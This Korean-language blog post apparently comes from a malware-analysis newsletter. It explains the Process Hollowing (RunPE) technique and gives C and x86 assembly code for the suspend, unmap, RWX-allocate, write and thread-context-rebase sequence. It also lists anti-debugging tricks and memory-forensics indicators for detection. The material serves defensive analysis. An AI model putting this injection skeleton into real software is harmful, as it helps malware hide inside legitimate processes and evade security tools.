Process Hollowing 분석 — Unbacked Memory Image Overwrite 및 Thread Rebase 패턴

악성코드가 빈번히 사용하는 Process Hollowing (a.k.a. RunPE) 기법의
초기 구간(Stub → Target Image Unmapping → Memory Overwrite → Context 재설정)에서
보여지는 프로세스 메모리 오염 패턴, 레지스터 전이, 스택 프레임 변형, 제어 흐름 재배치(Thread Rebase) 과정을 작성함.

리버싱 기록


1. 개요 — Process Hollowing의 핵심 구조

Process Hollowing은 정상 프로세스를 생성한 뒤, 해당 프로세스의
Image Section을 Unmap/Overwrite하여 공격자 임의 코드(일반적으로 언패킹된 PE)를
삽입하고, 이어서 Thread Context(EIP/RIP) 를 새 EntryPoint로 재설정하여
실행 흐름을 완전히 대체하는 기법이다.

분석 관점에서 특징적인 포인트는 다음과 같다:

  • Suspended 상태의 프로세스 생성 (CreateProcess + CREATE_SUSPENDED)
  • NtUnmapViewOfSection 호출 후 ImageBase 제거
  • Private Memory에 공격자 이미지 재구성
  • PEB.ImageBaseAddress / RTL_USER_PROCESS_PARAMETERS 불일치
  • SetThreadContext 기반 Thread PC register 재배치
  • Import Table 재배치 또는 동적 API 해석 루틴 삽입
  • 스택 프레임/호출 규약이 정상 프로세스와 불일치

이러한 패턴들은 메모리 포렌식에서 명확한 지표(IOC) 를 생성한다.


2. 초기 Stub 코드 패턴 (무해화된 예시)

프로세스 생성 및 Unmap 루틴의 대표적인 패턴은 다음과 같다:

// 패턴
BOOL Demo_ProcessHollowingStub(LPCSTR hostPath, LPVOID payloadBase, DWORD payloadSize) {
    STARTUPINFOA si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);

    // 1) Suspended 상태로 정상 프로세스 생성
    if (!CreateProcessA(hostPath, NULL, NULL, NULL, FALSE,
        CREATE_SUSPENDED, NULL, NULL, &si, &pi))
        return FALSE;

    // 2) Target 프로세스 ImageBase 조회 (PEB 읽기)
    CONTEXT ctx;
    ZeroMemory(&ctx, sizeof(ctx));
    ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;

    if (!GetThreadContext(pi.hThread, &ctx))
        return FALSE;

    // 3) PEB 구조에서 ImageBaseAddress 획득 (패턴 단순화)
    DWORD pebAddr = (DWORD)ctx.Ebx;       // 32bit PEB 포인터
    DWORD imageBase = 0;
    ReadProcessMemory(pi.hProcess, (LPCVOID)(pebAddr + 0x08), &imageBase, sizeof(DWORD), NULL);

    // 4) 원본 이미지 제거
    NtUnmapViewOfSection(pi.hProcess, (PVOID)imageBase);

    // 5) 공격자 Payload를 대상 프로세스 메모리에 매핑
    LPVOID remoteBase = VirtualAllocEx(pi.hProcess, (LPVOID)imageBase,
                                       payloadSize, MEM_COMMIT | MEM_RESERVE,
                                       PAGE_EXECUTE_READWRITE);

    // (이하: 무해화 처리된 흐름 — 실제 PE Rebuild/ImportFix 없음)
    WriteProcessMemory(pi.hProcess, remoteBase, payloadBase, payloadSize, NULL);

    return TRUE;
}

관찰 포인트

  • EBX 레지스터 사용 → x86에서 PEB 포인터
  • Remote 프로세스의 ImageBase를 제거함으로써
    정상 PE 구조가 사라지고 “Unbacked Private Memory”만 존재
  • RWX 메모리 영역 증가

3. Thread Context 재설정 (RIP/EIP Rebase)

Image Overwrite 이후에는 새 이미지의 EntryPoint로 제어 흐름을 재설정한다.
공격자 코드는 이를 위해 EIP/RIP 수정을 수행한다.

예제 코드

// 패턴
BOOL Demo_RebaseThreadContext(HANDLE hThread, DWORD newEntry) {
    CONTEXT ctx;
    ZeroMemory(&ctx, sizeof(ctx));
    ctx.ContextFlags = CONTEXT_CONTROL;

    if (!GetThreadContext(hThread, &ctx))
        return FALSE;

    ctx.Eip = newEntry;    // x86 기준
    return SetThreadContext(hThread, &ctx);
}

4. Assembly 관점 — Hollowing Stub의 전형적인 흐름

다음은 프로세스 언매핑 및 EntryPoint 재배치를 수행하는
“교육용 패턴화”된 디스어셈블리다:

; --- PEB에서 ImageBase 추출 ---
mov     eax, [ebx+08h]            ; PEB.ImageBaseAddress
push    eax
push    [edi]                     ; hProcess
call    dword ptr [NtUnmapViewOfSection]

; --- 새 Payload 매핑 ---
push    PAGE_EXECUTE_READWRITE
push    MEM_COMMIT
push    payload_size
push    eax                       ; desired base (기존 ImageBase)
push    hProcess
call    dword ptr [VirtualAllocEx]

; --- EntryPoint 재설정 ---
mov     ecx, new_entry
mov     [ctx+0B8h], ecx           ; CONTEXT.Eip 수정
push    ctx
push    hThread
call    dword ptr [SetThreadContext]

5. 레지스터·메모리·스택 변화 상세 분석

시점레지스터 / 메모리 상태의미
스레드 생성 직후EIP = 정상 EntryPoint, EBX = PEB정상 프로세스 초기 상태
NtUnmapViewOfSection 후ImageBase 메모리 UnmappedPE Header/Sections 제거됨
VirtualAllocEx 이후RemoteBase = Private Memory공격자 이미지가 위치할 공간 확보
WriteProcessMemory 후Private Memory에 새 이미지 반영PE 전체가 디스크 없이 메모리 상 재구성
SetThreadContext 후EIP = 새 EntryPoint정상 실행 흐름 완전 대체

6. PE 구조 관점의 무결성 파괴

리버싱 핵심원리 기준으로 보면 Process Hollowing은 PE 구조의
다음 요소들이 비정상적으로 변형된다:

(1) PEB.ImageBaseAddress 값과 실제 매핑 주소 불일치

  • 진짜 매핑된 이미지가 Private Memory로 바뀌었으나
    PEB는 갱신되지 않거나 부분적으로만 반영됨

(2) Section Alignment 및 Header 구조 붕괴

  • 디스크 기반 백업 없음
  • .text, .rdata 경계와 실제 메모리 경계 불일치

(3) Import Table 재배치 및 AddressOfFunctions 파편화

  • IAT 재해석 루틴 또는 동적 API 로더가 등장하는 경우 많음

7. 동적 API 호출 및 Anti-Analysis 결합 패턴

Process Hollowing과 결합되는 고전적 로더 패턴들:

  • API 해시 기반 Resolver
  • Kernel32 LoadLibrary/GetProcAddress Stub 삽입
  • TEB/PEB 직접 참조로 Anti-Hook 우회
  • Inline Anti-Debugging(NtQueryInformationProcess)
  • RDTSC / QueryPerformanceCounter 기반 Timing Check
  • IsDebuggerPresent 플래그 조작

이들은 모두 Hollowing 단계 직후 등장하기 쉬운
Payload 초기화 루틴의 공통 특징이다.


8. 메모리 포렌식에서의 IOC

Process Hollowing은 다음 IOC를 거의 항상 남긴다:

(1) Private Memory에 PE Header 특유의 “MZ / PE” 시그니처 존재

(2) 메모리맵에서 동일 주소대역이 “Unbacked” 상태로 표시

(3) Module 리스트(PEB Loader Entries)와 실행중 EntryPoint의 불일치

(4) RWX 메모리 증가 + Image 타입 섹션 사라짐

(5) Call Stack Reconstruction 실패 (Return Address가 모듈 내부가 아님)


9. 결론

Process Hollowing은 사용자 공간 프로세스 구조(PEB, VAD, Section Mapping)를 직접 변형해
정상 실행 흐름을 완전히 대체하는 공격 기법이다.

그러나 PE 구조/메모리 보호 속성/Thread Context/스택 프레임 관찰을 기반으로
꾸준히 정형화된 TTP를 보여주기 때문에
디지털 포렌식·Incident Response 환경에서 충분히 탐지 가능하다.


📍 Written by Code & Compass

MalClown에서 더 알아보기

지금 구독하여 계속 읽고 전체 아카이브에 액세스하세요.

계속 읽기